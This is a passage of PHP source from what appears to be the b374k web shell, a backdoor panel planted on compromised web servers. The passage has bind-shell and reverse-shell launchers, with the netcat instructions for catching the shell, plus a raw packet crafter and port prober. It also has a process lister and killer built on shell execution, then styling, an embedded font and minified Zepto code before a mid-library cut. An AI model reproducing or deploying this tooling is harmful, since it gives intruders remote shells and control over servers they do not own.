  2067. $GLOBALS['module']['network']['title'] = "Network";
  2068. $GLOBALS['module']['network']['js_ontabselected'] = "";
  2069. $GLOBALS['module']['network']['content'] = "
  2070. <table class='boxtbl'>
  2071. <thead>
  2072.     <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
  2073. </thead>
  2074. <tbody>
  2075.     <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
  2076.     <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
  2077. </tbody>
  2078. <tfoot>
  2079.     <tr>
  2080.         <td style='width:144px;'>
  2081.             <select id='bindLang' class='rsType'>
  2082.                 ".$winbinary."
  2083.             </select>
  2084.         </td>
  2085.         <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>
  2086.     </tr>
  2087.     <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
  2088. </tfoot>
  2089. </table>
  2090. <br>
  2091. <table class='boxtbl'>
  2092. <thead>
  2093.     <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
  2094. </thead>
  2095. <tbody>
  2096.     <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2097.     <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2098. </tbody>
  2099. <tfoot>
  2100.     <tr>
  2101.         <td style='width:144px;'>
  2102.             <select id='backLang' class='rsType'>
  2103.                 ".$winbinary."
  2104.             </select>
  2105.         </td>
  2106.         <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>
  2107.     </tr>
  2108.     <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
  2109. </tfoot>
  2110. </table>
  2111. <br>
  2112. <table class='boxtbl'>
  2113. <thead>
  2114.     <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
  2115. </thead>
  2116. <tbody>
  2117.     <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2118.     <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2119.     <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2120.     <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2121.     <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2122. </tbody>
  2123. <tfoot>
  2124.     <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>
  2125.     <tr>
  2126.         <td>
  2127.             <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>
  2128.         </td>
  2129.         <td>You can also press ctrl+enter to submit</td>
  2130.     </tr>
  2131.     <tr><td colspan='2'><div id='packetResult'></div></td></tr>
  2132. </tfoot>
  2133. </table>
  2134. ";
  2135.  
  2136.  
  2137. if(isset($p['rsLang']) && isset($p['rsArgs'])){
  2138.     $rsLang = $p['rsLang'];
  2139.     $rsArgs = $p['rsArgs'];
  2140.     $res = "";
  2141.  
  2142.     if($rsLang=="php"){
  2143.         $code = get_resource("rs_".$rsLang);
  2144.         if($code!==false){
  2145.             $code = "\$target = \"".$rsArgs."\"; ?>".$code;
  2146.             $res = eval_go($rsLang, $code, "", "");
  2147.         }
  2148.     }
  2149.     else{
  2150.         $code = get_resource("rs_".$rsLang);
  2151.         if($code!==false){
  2152.             $res = eval_go($rsLang, $code, "", $rsArgs);
  2153.         }
  2154.     }
  2155.  
  2156.     if($res===false) $res == "error";
  2157.     output(html_safe($res));
  2158. }
  2159. elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
  2160.     $packetHost = trim($p['packetHost']);
  2161.     if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
  2162.  
  2163.     $packetPort = (int) $p['packetPort'];
  2164.  
  2165.     $packetTimeout = (int) $p['packetTimeout'];
  2166.     $packetSTimeout = (int) $p['packetSTimeout'];
  2167.  
  2168.     $packetContent = $p['packetContent'];
  2169.     if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
  2170.     else{
  2171.         $packetContent = str_replace(array("\r","\n"), "", $packetContent);
  2172.         $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
  2173.     }
  2174.  
  2175.     $res = "";
  2176.  
  2177.  
  2178.     $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
  2179.     if(!$sock){
  2180.         $res .= "<div class='weak'>";
  2181.         $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>";
  2182.     }
  2183.     else{
  2184.         stream_set_timeout($sock, $packetSTimeout);
  2185.         fwrite($sock, $packetContent."\r\n\r\n\x00");
  2186.         $counter = 0;
  2187.         $maxtry = 1;
  2188.         $bin = "";
  2189.         do{
  2190.             $line = fgets($sock, 1024);
  2191.             if(trim($line)=="") $counter++;
  2192.             $bin .= $line;
  2193.         }while($counter<$maxtry);
  2194.         fclose($sock);
  2195.         $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>";
  2196.         $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>";
  2197.     }
  2198.  
  2199.     output($res);
  2200. }
  2201.  
  2202. $GLOBALS['module']['processes']['id'] = "processes";
  2203. $GLOBALS['module']['processes']['title'] = "Processes";
  2204. $GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
  2205. $GLOBALS['module']['processes']['content'] = "";
  2206.  
  2207. if(!function_exists('show_processes')){
  2208.     function show_processes(){
  2209.         $output = '';
  2210.         $wcount = 11;
  2211.         if(is_win()){
  2212.             $cmd = "tasklist /V /FO csv";
  2213.             $wexplode = "\",\"";
  2214.         }
  2215.         else{
  2216.             $cmd = "ps aux";
  2217.             $wexplode = " ";
  2218.         }
  2219.  
  2220.         $res = execute($cmd);
  2221.         if(trim($res)=='') return false;
  2222.         else{
  2223.             $output .= "<table id='psTable' class='dataView sortable'>";
  2224.             if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
  2225.  
  2226.             $psarr = explode("\n",$res);
  2227.             $fi = true;
  2228.             $tblcount = 0;
  2229.  
  2230.             $check = explode($wexplode,$psarr[0]);
  2231.             $wcount = count($check);
  2232.  
  2233.             foreach($psarr as $psa){
  2234.                 if(trim($psa)!=''){
  2235.                     if($fi){
  2236.                         $fi = false;
  2237.                         $psln = explode($wexplode, $psa, $wcount);
  2238.                         $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
  2239.                         foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>";
  2240.                         $output .= "</tr>";
  2241.                     }
  2242.                     else{
  2243.                         $psln = explode($wexplode, $psa, $wcount);
  2244.                         $pid = trim(trim($psln[1]),"\"");
  2245.                         $tblcount = 0;
  2246.                         $output .= "<tr data-pid='".$pid."'>";
  2247.  
  2248.                         foreach($psln as $p){
  2249.                             if(trim($p)=="") $p = " ";
  2250.                             $p = trim(trim($p) ,"\"");
  2251.                             $p = html_safe($p);
  2252.                             if($tblcount == 0){
  2253.                                 $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
  2254.                                 $tblcount++;
  2255.                             }
  2256.                             else{
  2257.                                 $tblcount++;
  2258.                                 if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>";
  2259.                                 else $output .= "<td style='text-align:center;'>".$p."</td>";
  2260.                             }
  2261.                         }
  2262.                         $output .= "</tr>";
  2263.                     }
  2264.                 }
  2265.             }
  2266.             $colspan = count($psln)+1;
  2267.             $colspanAll = $colspan+1;
  2268.             $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
  2269.         }
  2270.         return $output;
  2271.     }
  2272. }
  2273.  
  2274.  
  2275. if(isset($p['showProcesses'])){
  2276.     $processes = show_processes();
  2277.     if($processes!==false) output($processes);
  2278.     output('error');
  2279. }
  2280. elseif(isset($p['allPid'])){
  2281.     $allPid = explode(" ", $p['allPid']);
  2282.     $counter = 0;
  2283.     foreach($allPid as $pid){
  2284.         $pid = trim($pid);
  2285.         if(!empty($pid)){
  2286.             if(function_exists("posix_kill")){
  2287.                 if(posix_kill($pid,'9')) $counter++;
  2288.             }
  2289.             else{
  2290.                 if(is_win()){
  2291.                     $cmd = execute("taskkill /F /PID ".$pid);
  2292.                     $cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
  2293.                     if(strpos($cmd,"No tasks are running")!==false) $counter++;
  2294.                 }
  2295.                 else{
  2296.                     $cmd = execute("kill -9 ".$pid);
  2297.                     if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
  2298.                         $cmd = trim(execute("ps -p ".$pid));
  2299.                         $check = explode("\n", $cmd);
  2300.                         if(count($check)==1) $counter++;
  2301.                     }
  2302.                 }
  2303.             }
  2304.         }
  2305.     }
  2306.     if($counter>0) output($counter);
  2307.     else output('error');
  2308. }
  2309.  
  2310. $error = @ob_get_contents();
  2311.     $error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n", "\n", html_safe($error))."</pre>":"";
  2312.     @ob_end_clean();
  2313.     error_reporting(0);
  2314.     @ini_set('display_errors','0');
  2315.  
  2316.  
  2317. ?><!doctype html>
  2318. <html>
  2319. <head>
  2320. <title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
  2321. <meta charset='utf-8'>
  2322. <meta name='robots' content='noindex, nofollow, noarchive'>
  2323. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
  2324. <link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
  2325. <style type="text/css">
  2326. @font-face {
  2327.     font-family:'ubuntumono';
  2328.     src:url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGkYAA8AAAAAp+gAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAcXhqiC09TLzIAAAF0AAAAXAAAAGCIf+2fY21hcAAAAdAAAAGQAAAB8qDpr+VjdnQgAAADYAAAAI4AAAIIC3AUx2ZwZ20AAAPwAAADewAABiN2vUTEZ2FzcAAAB2wAAAAIAAAACP//AANnbHlmAAAHdAAAWX4AAI8gtk/BKGhlYWQAAGD0AAAAMgAAADb2ffhhaGhlYQAAYSgAAAAdAAAAJAU1Ap5obXR4AABhSAAAAQ8AAAG8JqQbMGxvY2EAAGJYAAABtgAAAbbgHbwybWF4cAAAZBAAAAAgAAAAIAb/CJxuYW1lAABkMAAAAhwAAAWUD/sQynBvc3QAAGZMAAABeAAAAhhGAhHOcHJlcAAAZ8QAAAFTAAABipI+L6QAAAABAAAAAMmJbzEAAAAAyeW+ywAAAADKq3QOeAFjYGb8wTiBgZWBgWkPUxcDA0MPhGa8y2DE8Asoys3KyczGxMzE8oCB6X8Ag0I0AxS4OPo6MjgwcHxgYNr6P5rBkNmOYZUCA8P8MEag7gtM2UAlCgyMAF+qEYV4AWJgYGCGYhkGRgYQeAPkMYL5LAwXgLQBgwKQJQBkcTLwMsgy1DH8ZzRkDGY6xnSL6Y6CiIKUgpyCkoKVgotCicIaJdEH/9///cDw/z/YLA6QDqD+BUAdQVAdwgoSCjJAHZYYOhj///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Oh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format('woff');
  2329.     font-weight: normal;
  2330.     font-style: normal;
  2331. }
  2332. *{
  2333.     font-family:ubuntumono;
  2334.     margin:0;
  2335.     padding:0;
  2336.     border:0;
  2337.     -webkit-box-sizing:border-box;
  2338.     -moz-box-sizing:border-box;
  2339.     box-sizing:border-box;
  2340.     font-size:12px;
  2341.     font-weight:normal;
  2342. }
  2343. input:focus, select:focus, textarea:focus, button:focus{
  2344.     outline:none;
  2345. }
  2346. html, body{
  2347.     width:100%;
  2348.     height:100%;
  2349.     color:#222222;
  2350. }
  2351. body{
  2352.     background:#f0f0f0;
  2353.     line-height:17px;
  2354. }
  2355. a{
  2356.     text-decoration:none;
  2357.     color:#000000;
  2358. }
  2359. a:hover{
  2360.     cursor:pointer;
  2361. }
  2362. p{
  2363.     padding:8px 0;
  2364. }
  2365. img{
  2366.     vertical-align:middle;
  2367. }
  2368. table{
  2369.     width:100%;
  2370. }
  2371. table td, table th{
  2372.     vertical-align:middle;
  2373.     padding:8px;
  2374. }
  2375. textarea, input, select{
  2376.     background:#ffffff;
  2377.     padding:8px;
  2378.     border-radius:8px;
  2379.     color:#111111;
  2380.     border:1px solid #dddddd;
  2381. }
  2382. textarea{
  2383.     resize:vertical;
  2384.     width:100%;
  2385.     height:300px;
  2386.     min-height:300px;
  2387.     max-width:100%;
  2388.     min-width:100%;
  2389. }
  2390. hr{
  2391.     margin:8px 0;
  2392.     border-bottom:1px dashed #dddddd;
  2393. }
  2394. video{
  2395.     width:100%;
  2396.     background:#222222;
  2397.     border-radius:8px;
  2398. }
  2399. h1, h2{
  2400.     background:#E7E7E7;
  2401.     border-bottom: 1px solid #cccccc;
  2402.     color:#000000;
  2403.     border-radius:8px;
  2404.     text-align:center;
  2405.     cursor:pointer;
  2406.     padding:8px;
  2407.     margin-bottom:8px;
  2408. }
  2409. h1 a, h2 a{
  2410.     color:#000000;
  2411. }
  2412. pre, #viewFilecontent{
  2413.     word-break:break-all;
  2414.     word-wrap:break-word;
  2415. }
  2416. pre{
  2417.     white-space:pre-wrap;
  2418. }
  2419. #b374k{
  2420.     cursor:pointer;
  2421. }
  2422. #header{
  2423.     width:100%;
  2424.     position:fixed;
  2425. }
  2426. #headerNav{
  2427.     padding:10px 8px 6px 8px;
  2428.     background:#333333;
  2429. }
  2430. #headerNav img{
  2431.     margin:0 4px;
  2432. }
  2433. #headerNav a{
  2434.     color:#efefef;
  2435. }
  2436. #menu{
  2437.     background:#7C94A8;
  2438.     height:33px;
  2439.     border-bottom:3px solid #CCCFD1;
  2440. }
  2441. #menu .menuitem{
  2442.     padding:7px 12px 6px 12px;
  2443.     float:left;
  2444.     height:30px;
  2445.     background:#7C94A8;
  2446.     color:#ffffff;
  2447.     cursor:pointer;
  2448. }
  2449. #menu .menuitem:hover, #menu .menuitemSelected{
  2450.     background:#768999;
  2451.     color:#ffffff;
  2452. }
  2453. #menu .menuitemSelected{
  2454.     background:#768999;
  2455. }
  2456. #basicInfo{
  2457.     width:100%;
  2458.     padding:8px;
  2459.     border-bottom:1px dashed #dddddd;
  2460. }
  2461. #content{
  2462.     background:#f0f0f0;
  2463.     height:100%;
  2464.     padding:66px 8px 8px 8px;
  2465. }
  2466. #content .menucontent{
  2467.     background:#f0f0f0;
  2468.     clear:both;
  2469.     display:none;
  2470.     padding:8px;
  2471.     overflow-x:auto;
  2472.     overflow-y:hidden;
  2473. }
  2474. #overlay{
  2475.     position:fixed;
  2476.     top:0px;
  2477.     left:0px;
  2478.     width:100%;
  2479.     height:100%;
  2480.     display:none;
  2481. }
  2482. #loading{
  2483.     width:64px;
  2484.     height:64px;
  2485.     background:#7C94A8;
  2486.     border-radius:32px 0 32px 0;
  2487.     margin:auto;
  2488.     vertical-align:middle;
  2489. }
  2490. #ulDragNDrop{
  2491.     padding:32px 0;
  2492.     text-align:center;
  2493.     background:#7C94A8;
  2494.     border-radius:8px;
  2495.     color:#ebebeb;
  2496. }
  2497. #form{
  2498.     display:none;
  2499. }
  2500. #devTitle{
  2501.     background:#ebebeb;
  2502. }
  2503. .box{
  2504.     min-width:50%;
  2505.     border:1px solid #dddddd;
  2506.     padding:8px 8px 0 8px;
  2507.     border-radius:8px;
  2508.     position:fixed;
  2509.     background:#ebebeb;
  2510.     opacity:1;
  2511.     box-shadow:1px 1px 25px #150f0f;
  2512.     opacity:0.98;
  2513. }
  2514. .boxtitle{
  2515.     background:#dddddd;
  2516.     border: 1px solid #cccccc;
  2517.     color:#000000;
  2518.     border-radius:8px;
  2519.     text-align:center;
  2520.     cursor:pointer;
  2521. }
  2522. .boxtitle a, .boxtitle a:hover{
  2523.     color:#000000;
  2524. }
  2525. .boxcontent{
  2526.     padding:2px 0 2px 0;
  2527. }
  2528. .boxresult{
  2529.     padding:4px 10px 6px 10px;
  2530.     border-top:1px solid #dddddd;
  2531.     margin-top:4px;
  2532.     text-align:center;
  2533. }
  2534. .boxtbl{
  2535.     border:1px solid #dddddd;
  2536.     border-radius:8px;
  2537.     padding-bottom:8px;
  2538.     background:#ebebeb;
  2539. }
  2540. .boxtbl td{
  2541.     vertical-align:middle;
  2542.     padding:8px 15px;
  2543.     border-bottom:1px dashed #dddddd;
  2544. }
  2545. .boxtbl input, .boxtbl select, .boxtbl .button{
  2546.     width:100%;
  2547. }
  2548. .boxlabel{
  2549.     text-align: center;
  2550.     border-bottom:1px solid #dddddd;
  2551.     padding-bottom:8px;
  2552. }
  2553. .boxclose{
  2554.     background:#222222;
  2555.     border-radius:3px;
  2556.     margin-right:8px;
  2557.     margin-top:-3px;
  2558.     padding:2px 8px;
  2559.     cursor:pointer;
  2560.     color:#ffffff;
  2561. }
  2562. .strong{
  2563.     color:#7C94A8;
  2564.     text-shadow:0px 0px 1px #C0DCF5;
  2565. }
  2566. .weak{
  2567.     color:#666666;
  2568. }
  2569. .button{
  2570.     min-width:120px;
  2571.     width:120px;
  2572.     margin:2px;
  2573.     color:#ffffff;
  2574.     background:#7C94A8;
  2575.     border:none;
  2576.     padding:8px;
  2577.     border-radius:8px;
  2578.     display:block;
  2579.     text-align:center;
  2580.     float:left;
  2581.     cursor:pointer;
  2582. }
  2583. .button:hover, #ulDragNDrop:hover{
  2584.     background:#768999;
  2585. }
  2586. .floatLeft{
  2587.     float:left;
  2588. }
  2589. .floatRight{
  2590.     float:right;
  2591. }
  2592. .colFit{
  2593.     width:1px;
  2594.     white-space:nowrap;
  2595. }
  2596. .colSpan{
  2597.     width:100%;
  2598. }
  2599. .border{
  2600.     border:1px solid #dddddd;
  2601.     background:#ebebeb;
  2602.     border-radius:8px;
  2603.     padding:8px;
  2604. }
  2605. .borderbottom{
  2606.     border-bottom:1px dashed #dddddd;
  2607. }
  2608. .borderright{
  2609.     border-right:1px dashed #dddddd;
  2610. }
  2611. .borderleft{
  2612.     border-left:1px dashed #dddddd;
  2613. }
  2614. .hr td{
  2615.     border-bottom:1px dashed #dddddd;
  2616. }
  2617. .cBox, .cBoxAll{
  2618.     width:10px;
  2619.     height:10px;
  2620.     border:1px solid #7C94A8;
  2621.     border-radius:5px;
  2622.     margin:auto;
  2623.     float:left;
  2624.     margin:3px 6px 2px 6px;
  2625.     cursor:pointer;
  2626. }
  2627. .cBoxSelected{
  2628.     background:#7C94A8;
  2629. }
  2630. .action, .actionfolder, .actiondot{
  2631.     cursor:pointer;
  2632. }
  2633. .phpError{
  2634.     padding:8px;
  2635.     margin:8px 0;
  2636.     text-align:center;
  2637. }
  2638. .dataView td, .dataView th, #viewFile td{
  2639.     vertical-align:top;
  2640.     border-bottom:1px dashed #dddddd;
  2641. }
  2642. .dataView tbody tr:hover{
  2643.     background:#ebebeb;
  2644. }
  2645. .dataView th{
  2646.     vertical-align:middle;
  2647.     border-bottom:0;
  2648.     background:#e0e0e0;
  2649. }
  2650. .dataView tfoot td{
  2651.     vertical-align:middle;
  2652. }
  2653. .dataView .col-cbox{
  2654.     text-align:center;
  2655.     width:20px;
  2656. }
  2657. .dataView .col-size{
  2658.     width:70px;
  2659. }
  2660. #xplTable tr>td:nth-child(3){
  2661.     text-align:left;
  2662. }
  2663. #xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
  2664.     text-align:center;
  2665. }
  2666. .dataView .col-owner{
  2667.     width:140px;
  2668.     min-width:140px;
  2669.     text-align:center;
  2670. }
  2671. .dataView .col-perms{
  2672.     width:80px;
  2673.     text-align:center;
  2674. }
  2675. .dataView .col-modified{
  2676.     width:150px;
  2677.     text-align:center;
  2678. }
  2679. .sortable th{
  2680.     cursor:pointer;
  2681. }
  2682. #xplTable td{
  2683.     white-space:nowrap;
  2684. }
  2685. #viewFile td{
  2686.     text-align:left;
  2687. }
  2688. #viewFilecontent{
  2689.     padding:8px;
  2690.     border:1px solid #dddddd;
  2691.     border-radius:8px;
  2692. }
  2693. #terminalPrompt td{
  2694.     padding:0;
  2695. }
  2696. #terminalInput{
  2697.     background:none;
  2698.     border:none;
  2699.     padding:0;
  2700.     width:100%;
  2701. }
  2702. #evalAdditional{
  2703.     display:none;
  2704. }
  2705. .hl_default{
  2706.     color:#517797;
  2707. }
  2708. .hl_keyword{
  2709.     color:#00BB00;
  2710. }
  2711. .hl_string{
  2712.     color:#000000;
  2713. }
  2714. .hl_html{
  2715.     color:#CE5403;
  2716. }
  2717. .hl_comment{
  2718.     color:#7F9F7F;
  2719. }
  2720. #navigation{position:fixed;left:-16px;top:46%;}
  2721. #totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
  2722. #totop:hover,#tobottom:hover{opacity:0.80;}
  2723. #toggleBasicInfo{display:none;float:right;margin:0;}
  2724. #basicInfoSplitter{display:none;}
  2725. #tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
  2726. #showinfo{float:right;display:none;}
  2727. #logout{float:right;}
  2728. </style>
  2729. </head>
  2730. <body>
  2731. <!--wrapper start-->
  2732. <div id='wrapper'>
  2733.     <!--header start-->
  2734.     <div id='header'>
  2735.         <!--header info start-->
  2736.         <div id='headerNav'>
  2737.             <span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
  2738.             <img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>
  2739.  
  2740.             <a class='boxclose' id='logout' title='log out'>x</a>
  2741.             <a class='boxclose' id='showinfo' title='show info'>v</a>
  2742.         </div>
  2743.         <!--header info end-->
  2744.  
  2745.         <!--menu start-->
  2746.         <div id='menu'>
  2747.             <?php
  2748.                 foreach($GLOBALS['module_to_load'] as $k){
  2749.                     echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
  2750.                 }
  2751.             ?>
  2752.         </div>
  2753.         <!--menu end-->
  2754.  
  2755.     </div>
  2756.     <!--header end-->
  2757.  
  2758.     <!--content start-->
  2759.     <div id='content'>
  2760.         <!--server info start-->
  2761.         <div id='basicInfo'>
  2762.             <div id='toggleBasicInfo'></div>
  2763.             <?php
  2764.             echo $error_html;
  2765.             foreach(get_server_info() as $k=>$v){
  2766.                 echo "<div>".$v."</div>";
  2767.             }
  2768.             ?>
  2769.         </div>
  2770.         <!--server info end-->
  2771.  
  2772.         <?php
  2773.             foreach($GLOBALS['module_to_load'] as $k){
  2774.                 $content = $GLOBALS['module'][$k]['content'];
  2775.                 echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
  2776.             }
  2777.         ?>
  2778.     </div>
  2779.     <!--content end-->
  2780.  
  2781. </div>
  2782. <!--wrapper end-->
  2783. <div id='navigation'>
  2784.     <div id='totop'></div>
  2785.     <div id='tobottom'></div>
  2786. </div>
  2787. <table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
  2788. <form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
  2789. <!--script start-->
  2790. <script type='text/javascript'>
  2791. var targeturl = '<?php echo get_self(); ?>';
  2792. var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
  2793. var win = <?php echo (is_win())?'true':'false';?>;
  2794. var init_shell = true;
  2795. /* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
  2796. var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return 